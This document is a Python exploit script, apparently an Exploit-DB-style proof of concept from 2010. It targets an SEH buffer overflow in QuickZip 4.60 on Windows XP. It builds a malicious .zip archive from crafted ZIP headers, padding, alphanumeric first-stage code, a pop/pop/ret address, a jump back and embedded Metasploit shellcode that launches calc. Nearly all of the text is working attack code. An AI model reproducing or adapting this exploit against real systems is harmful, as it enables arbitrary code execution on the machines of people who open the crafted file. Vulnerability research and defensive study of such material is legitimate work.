#!/usr/bin/python # ############################################################################### # Exploit Title : QuickZip 4.x (.zip) Buffer Overflow Exploit #2 # Date : 9/3/2010 # Original author : corelanc0d3r & mr_me # Second Exploit : Dz_attacker (dz_attacker[at]hotmail[dot]fr # Software Link : http://www.quickzip.org/downloads.html # Version : 4.60 # OS : Windows # Tested on : XP SP3 En # Type of vuln : SEH # Greetz to : Corelan Security Team # ############################################################################### header1 = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00") header2 = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00" "\x24\x00\x00\x00\x00\x00\x00\x00") header3 = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00" "\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00") # win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com shellcode=( "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44" "\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x43\x4b\x38\x4e\x57" "\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x38" "\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x48\x46\x43\x4b\x48" "\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c" "\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x57\x45\x4e\x4b\x58" "\x4f\x35\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44" "\x4b\x38\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x48\x4e\x51\x4b\x38" "\x41\x50\x4b\x4e\x49\x38\x4e\x55\x46\x32\x46\x50\x43\x4c\x41\x33" "\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x43\x45\x58\x42\x4c\x4a\x57" "\x4e\x50\x4b\x38\x42\x44\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a" "\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x38\x42\x4b" "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x56\x4e\x33\x4f\x35\x41\x53" "\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x57" "\x42\x45\x4a\x56\x50\x37\x4a\x4d\x44\x4e\x43\x47\x4a\x56\x4a\x49" "\x50\x4f\x4c\x38\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x56\x41\x36" "\x4e\x36\x43\x46\x42\x30\x5a") print "[+] Building PoC.." junk = "\x44"*302 code = "\x2D\x6E\x45\x45\x45" #SUB EAX,4545456E code += "\x2D\x6D\x55\x55\x55" #SUB EAX,5555556D code += "\x2D\x78\x69\x52\x65" #SUB EAX,65526978 sploit = "\x41"*200 sploit += code #First stage shellcode sploit += "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIm8taRUGsUQTJA" sploit += "\x41"*14 sploit += "\x76\xff\x42\x42" #jump back 94 bytes sploit += "\x1b\x24\x70\x00" #0x0070241b p/p/r sploit += shellcode sploit += "\x44"*(4064-len(junk+shellcode)) sploit += ".exe" payload = header1 payload += sploit payload += header2 payload += sploit payload += header3 mefile = open('dz.zip','w'); mefile.write(payload); mefile.close() print "[+] Exploit complete!"